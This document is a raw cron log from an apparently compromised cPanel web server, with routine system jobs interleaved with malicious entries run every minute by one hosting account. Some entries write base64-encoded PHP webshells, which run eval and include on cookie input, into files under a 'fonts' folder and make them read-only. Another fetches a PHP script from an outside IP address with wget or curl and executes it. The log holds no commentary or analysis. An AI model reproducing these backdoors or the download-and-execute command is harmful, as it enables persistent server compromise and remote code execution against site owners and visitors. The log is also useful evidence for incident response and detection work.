Aug 31 19:20:01 ip-184-168-122-23 CROND[17106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:20:01 ip-184-168-122-23 CROND[17114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:20:01 ip-184-168-122-23 CROND[17113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:20:01 ip-184-168-122-23 CROND[17111]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:20:01 ip-184-168-122-23 CROND[17112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:20:01 ip-184-168-122-23 CROND[17109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:20:01 ip-184-168-122-23 CROND[17116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:20:01 ip-184-168-122-23 CROND[17110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:20:01 ip-184-168-122-23 CROND[17118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:21:01 ip-184-168-122-23 CROND[17219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:21:01 ip-184-168-122-23 CROND[17220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:21:01 ip-184-168-122-23 CROND[17223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:21:01 ip-184-168-122-23 CROND[17226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:22:01 ip-184-168-122-23 CROND[17308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:22:01 ip-184-168-122-23 CROND[17309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:22:01 ip-184-168-122-23 CROND[17312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:22:01 ip-184-168-122-23 CROND[17313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:22:01 ip-184-168-122-23 CROND[17315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:23:01 ip-184-168-122-23 CROND[17401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:23:01 ip-184-168-122-23 CROND[17400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:23:01 ip-184-168-122-23 CROND[17402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:23:01 ip-184-168-122-23 CROND[17399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:24:01 ip-184-168-122-23 CROND[17476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:24:01 ip-184-168-122-23 CROND[17477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:24:01 ip-184-168-122-23 CROND[17480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:24:01 ip-184-168-122-23 CROND[17482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:24:01 ip-184-168-122-23 CROND[17483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:25:01 ip-184-168-122-23 CROND[17568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:25:01 ip-184-168-122-23 CROND[17570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:25:01 ip-184-168-122-23 CROND[17572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:25:01 ip-184-168-122-23 CROND[17573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:25:01 ip-184-168-122-23 CROND[17571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:25:01 ip-184-168-122-23 CROND[17574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:26:02 ip-184-168-122-23 CROND[17758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:26:02 ip-184-168-122-23 CROND[17759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:26:02 ip-184-168-122-23 CROND[17761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:26:02 ip-184-168-122-23 CROND[17762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:26:02 ip-184-168-122-23 CROND[17763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:27:01 ip-184-168-122-23 CROND[17862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:27:02 ip-184-168-122-23 CROND[17864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:27:02 ip-184-168-122-23 CROND[17865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:27:02 ip-184-168-122-23 CROND[17867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:28:01 ip-184-168-122-23 CROND[17948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:28:01 ip-184-168-122-23 CROND[17950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:28:01 ip-184-168-122-23 CROND[17951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:28:01 ip-184-168-122-23 CROND[17952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:28:01 ip-184-168-122-23 CROND[17953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:29:01 ip-184-168-122-23 CROND[18035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:29:01 ip-184-168-122-23 CROND[18037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:29:01 ip-184-168-122-23 CROND[18038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:29:01 ip-184-168-122-23 CROND[18039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:30:01 ip-184-168-122-23 CROND[18129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:30:01 ip-184-168-122-23 CROND[18131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:30:01 ip-184-168-122-23 CROND[18132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:30:01 ip-184-168-122-23 CROND[18136]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:30:01 ip-184-168-122-23 CROND[18134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:30:01 ip-184-168-122-23 CROND[18135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:30:01 ip-184-168-122-23 CROND[18137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:30:01 ip-184-168-122-23 CROND[18133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:31:01 ip-184-168-122-23 CROND[18228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:31:01 ip-184-168-122-23 CROND[18231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:31:01 ip-184-168-122-23 CROND[18230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:31:01 ip-184-168-122-23 CROND[18234]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:31:01 ip-184-168-122-23 CROND[18237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:32:01 ip-184-168-122-23 CROND[18320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
